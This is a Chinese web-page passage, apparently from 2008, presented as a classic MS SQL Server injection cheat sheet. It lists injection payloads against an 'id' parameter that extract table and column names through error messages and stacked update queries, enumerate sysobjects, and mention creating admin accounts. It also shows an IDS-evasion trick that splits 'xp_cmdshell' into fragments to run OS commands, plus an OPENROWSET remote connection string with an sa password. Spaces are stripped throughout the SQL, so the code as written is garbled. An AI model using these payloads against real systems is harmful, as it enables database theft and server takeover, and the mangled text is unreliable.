非常经典的Ms Sql注射资料
2008-10-04 11:10:32 来源:WEB开发网然后id=1552andexists(select*fromaaawhereaaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;updateaaasetaaa=(selecttop1col_name(object_id('表名'),1));--
然后id=1552andexists(select*fromaaawhereaaa>5)出错,得到字段名
id=1552;updateaaasetaaa=(selecttop1col_name(object_id('表名'),2));--
然后id=1552andexists(select*fromaaawhereaaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>'你得到的表名'查出一个加一个])[where条件]
selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update表名set字段=(selecttop1col_name(object_id('要查询的数据表名'),字段列如:1)[where条件]
绕过IDS的检测[使用变量]
declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:'
declare@asysnameset@a='xp'+'_cm'+'dshell'exec@a'dirc:'
1、开启远程数据库
基本语法
select*fromOPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select*fromtable1')
更多精彩
赞助商链接